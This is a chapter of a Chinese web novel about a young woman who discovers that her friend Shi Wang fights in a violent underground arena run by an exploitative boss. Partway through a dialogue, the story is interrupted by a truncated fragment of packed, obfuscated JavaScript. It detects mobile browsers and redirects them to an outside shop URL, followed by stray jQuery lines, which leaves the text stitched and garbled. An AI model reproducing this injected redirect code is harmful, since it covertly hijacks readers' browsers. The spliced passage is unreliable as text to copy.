默认冷灰
24号文字
方正启体

29. 明明,是他先发现的温时夏……^^……

作者:到点投翔本书字数:K更新时间:
    随着身材姣好的举牌女郎在台前走过,空气中弥漫的汗味,血腥味和廉价的兴奋剂气味就更浓几分,对决开始了。


    虎族兽人大喝一声,率先发起进攻,粗壮的手臂青筋暴起,举起重拳就猛地朝时妄的太阳穴砸去。


    挥拳的速度快极了,落在温时夏的眼里几乎能感受到那强劲有力的拳风,她不禁替时妄捏了一把冷汗。


    “嘭!”


    重拳砸到□□上发出的巨大声响传来,发起进攻的454号却捂着腹部连连后退,他咬紧牙关,脸上写满了难以掩饰的痛意。


    格斗场上方全方面无死角的大屏幕及时为观众进行精彩的慢动作回放,仔细看是时妄在拳头即将触及太阳穴时,以极快的反应速度猛地俯身闪过对方的重拳,并且反手给对手的肋下给予重击。


    吃痛的虎族兽人痛吼一声,扑上去狠狠砸向格挡的时妄,它的体型比时妄要健壮得多,拳头更是如同钢铁般坚硬,裹挟着阵阵劲风呼啸而出。


    拳拳到肉的攻击让时妄有些吃力地后撤,但围观的观众却挥舞着手中的赌券,面露狂热地朝着台上大声叫喊着。


    “454,揍死他!!!我可是押了你的!!”


    “妈的,01号出拳啊!!别怂!!!”


    “打啊!!打!!!”


    整个格斗场弥漫着高涨的热情和野蛮,台上血肉碰撞时发出沉闷的撞击声,但很快格挡的时妄找到了进攻的空挡,快速后撤然后飞快绕到侧面将重拳砸到虎族的太阳穴处。


    “KO!!!”


    虎族猛不设防地挨了一记重拳,还是在脆弱的太阳穴部位,当即就栽倒在地,如果是地球的普通人,当场丧命都不为过。


    但是在兽世,虽然会晕倒失去意识,但天生强悍的身体素质让这位虎族兽人在场边休息10分钟就可以清醒,然后开始下一场比赛。


    裁判上前确定454号选手失去意识后,以手势表示这场的胜者。


    温时夏看着场边休息的时妄,他的身边一个人都没有,独自拿起毛巾擦去身上的血液,但依然留下了斑斑的浅红痕迹。


    于是他不再执着于擦干净身体,而是坐在凳子上拿着饮用水,一点点补充挥散出去的水分。


    每当喝一口,匆匆咽下后,结实的胸膛就会猛地起伏一下,像是喝下这口水都带着几分艰难。


    台下的观众爆发出有史以来最热烈的掌声和欢呼声,因为在场的大部分人都买了时妄胜。


    温时夏的视线平静扫过这些疯狂的脸,一个雄性蜥蜴兽人尖叫着“撕碎他!”,声音尖锐的刺耳;旁边一个看似体面的狐族商人正紧盯着手中的数据板,计算着赔率变化。


    他们将台上的两人视作自己手中的筹码,哪怕他们打到流血,痛到趴下都不会允许他们停下进攻的脚步。


    观众,不,乃至整个格斗场都如同寄生虫一般,趴在打手的身上狠狠吞噬着血液,将他们的利用价值榨干后再随手一扔,就可以看向下一个目标了。


    至于前人的存在?谁在乎呢?


    于是,第二场,第三场。


    每一场的比赛都拳拳到肉,虎族兽人像是对时妄憎恨到极点,每次出圈的位置都十分刁钻又阴毒,而时妄似乎也对此见怪不怪,见招拆招,在对方的无能狂怒下赢得比赛。


    直到第四场,场面焦灼起来,双方居然都化成了原型。


    这是体型比时妄大了一圈的老虎,橙黑相间的皮毛覆盖着强大的身躯,琥铂色的眼睛中燃烧着纯粹的恶意,喉咙间时不时发出威胁性的低吼。


    他没有看旁人,一双兽瞳死死锁定对面身形矫健的灰狼,在无数催促的吼声下,他直接扑了过去。


    灰狼闪身躲开,和老虎厮打起来,哪怕两个都是血肉之躯,但每每锐爪和尾巴的碰撞都会发出让温时夏牙酸的,钢筋一般的巨大声响。


    尽管极力隐藏,时妄受伤的左臂终归还是被对方察觉到了。


    老虎不断攻击他的左侧身位,时妄躲闪不及,直接被对方的利爪划出一道血淋淋的伤口。


    454号故意将爪子刺得更深,嘴上还不忘讥讽,“就这点本事?打我弟弟的时候不是很威风吗?”


    浓烈的血腥味混着格斗场的灰尘不断扩散,让台下天生就有嗜血基因的兽人们愈加疯狂。


    “打!!杀了他!!”


    “老虎,咬他脖子啊!!”


    温时夏不适地捏紧了手中早就变成常温的啤酒杯,她眼也不眨地看着时妄,心脏都痛得揪在了一起。


    这不是竞技,这是合法的暴力。


    她看着场中的时妄,那个笨拙安慰哭泣幼崽的少年,那个会默默修理好所有损坏物品的保护者,此刻却站在一个残酷的舞台上进行残酷又疯狂的原始搏斗。


    “时妄!”


    她不自觉喊出了声,原本在人声鼎沸的格斗场是完全不会被时妄听到的。


    但是话音刚落,台上的灰狼却好像似有所感朝着温时夏的方向看了过来,当看到人群中娇小的身影后,他猛地一震,然后奋力挣脱了纠缠的老虎。


    他收回视线,和老虎不要命地厮打起来,每一击都精准而高效,好像赶着时间结束一样。


    充满原始和野蛮的厮打立马引来了一片叫好声。


    最后,力竭的老虎被时妄压在身下,宣告了今天的结束。


    看着连自己的水和外套都顾不得拿,飞快离开场地的时妄,温时夏直接站起身,在景云惊愕的视线中将啤酒往对方手里一塞,就冲向了后台的休息室。


    现在是散场的时间,大部分的工作人员都在引导观众有序退场,因此进入后台竟然出乎意料的顺利。


    温时夏先是快步走,后来干脆迈开脚步跑着追了上去。


    没多久,在一个偏僻的拐角处,温时夏发现了那道熟悉的身影。


    “时妄!!!”


    对方听到温时夏的声音,背后一僵,顾不上还在哗哗流血的左臂,像是逃一样反而跑得更快了。


    温时夏想上前追,却被脚下突出的安装管道绊倒,“啊!”


    几乎摔倒的同一时间,那道逃跑的人影就立马停了下来,时妄转身快步走到温时夏身边。


    “脚踝怎么样?有伤到吗?”


    温时夏不看他伸出想要搀扶的手,自己扶着膝盖站了起来。


    她摘去了遮挡面容的墨镜和口罩,定定看着时妄,目光平静而冷淡,“时妄,这就是你的那份工作?”


    时妄的手僵在空中,看到上面沾满了肮脏的,怎么都擦不净的血液,他下意识将手缩回背在身后,像是做错事的孩子,沉默不语。


    “不解释一下吗?时妄?”温时夏失望地看向时妄。


    触及温时夏的目光,时妄像是被狠狠烫了一下,垂下长睫,“是。”


    空气静了一瞬。


    “这就是你一直以来深藏心底的秘密?”


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138054|194458||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >“是。”


    “你经常离开很久,是为了在这里打比赛?”


    “是。”


    “为什么现在还要继续在这里?如果你说你喜欢这里,我不相信。”


    “我……”


    时妄正想回答,身后就传来了一个尖锐的,让人不太舒服的声音。


    “时妄,今天打得不错啊,怎么还在这,休息室的医疗已经给你准备好了。”


    来人臃肿矮小的身体裹着一身昂贵的定制西装,手腕和脖子佩戴着夸张又显眼的金饰品,恨不得将所有昂贵的东西都揣在身上。


    那双利欲熏心的目光在看向温时夏时,猛地放光,“呦,这是你朋友啊?没见过呢?”


    时妄矢口否认,“不,就是一个观众,走错地方了,刚给她指了路,她这就要走了。”


    温时夏皱眉看向来人,“你是谁?”


    “我是这家地下格斗场的老板菲利特。”菲利特上下打量着温时夏,随后狐疑地看着两人问道,“你们确定不认识?”


    温时夏正打算说话,就被时妄匆匆打断了,“不认识!”


    随即时妄朝温时夏露出厌恶的表情,不耐烦地说道,“还不走?不知道你在这很碍事吗?你算什么人,管那么宽?”


    看到时妄虽然嚣张地放话,手却紧张地捏着裤边,温时夏自然看出来这个老板不是什么善茬。


    而时妄的这番话,大概是为了保护她,但是这依然让温时夏感到恼火。


    那团本就在胸腔熊熊燃烧的怒火像是碰到了引子,立马当场炸了,温时夏冷笑,“是,我是管不着!”


    她转身前余光看到了前来找她的景云,于是出于那份发现自己被隐瞒的愤怒,她直接过去挽住景云的胳膊,“我要管得也多得很。”


    彻底离开前,温时夏看到在场上所向披靡的时妄像是被全世界遗弃的小狗一样站在原地,垂着耳朵难掩伤心地看向他们挽住的手。


    温时夏狠狠心,拉着景云一起离开了。


    “时夏,没事吧?”景云垂下头靠近温时夏小声说着。


    “嗯,没事。”


    在外人的视角看,两人正亲密地凑在一起,像是在说一些情侣之间的悄悄话,见此老板暂时打消了疑虑。


    自己几年前辛辛苦苦挖来的摇钱树,马上就想解开链子远走高飞了,这可不成呢,得想一个拴住他的新办法才行。


    “时妄啊,没什么事就回去休息吧。过两天你还有比赛呢。”菲利特重新挂上那张虚伪的笑脸,懒得再多说,敷衍几句就离开了。


    时妄怔愣地看着温时夏离开的方向,她的眼里看向自己时那么陌生和冷漠,但和景云却可以亲近地挽手。


    尽管菲利特暂时打消念头,是他想要的结果,但看到这个场景却依然心痛到麻木窒息。


    温时夏……应该和景云回去了吧。


    时妄垂下头,举起手狠狠擦着皮肤上早就干涸的血迹,但直到那块白皙的皮肉变得通红,也依旧擦不去那些痕迹。


    他无力地松开手,他的身上一片血污,那些拼命遮掩的,难堪的过往被温时夏看得一清二楚,而景云却干净敞亮,人生前途一片光明。


    想必无论是谁,都知道该去牵谁的手吧?


    只是,他的胸腔里依然残留着固执的不甘,不甘心就这样放弃,不甘心将她拱手让人,不甘心自己眼睁睁地看着她走向别人。


    明明,是他先发现的温时夏……
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)